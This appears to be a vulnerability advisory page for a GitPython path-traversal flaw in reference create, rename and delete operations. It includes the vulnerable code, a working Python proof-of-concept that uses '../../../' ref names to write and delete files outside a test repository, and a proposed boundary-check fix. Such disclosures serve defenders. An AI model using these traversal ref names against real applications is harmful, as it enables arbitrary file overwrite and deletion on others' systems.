Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-44243 is a high severity vulnerability with a CVSS score of 7.1. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
<= 3.1.46 and current main (3.1.47 in local checkout)Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
| Vendor | Product |
|---|---|
| Gitpython Project | Gitpython |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Local attack through application-controlled input passed into GitPython reference APIs
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
pip install GitPython==3.1.46
python poc.py
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)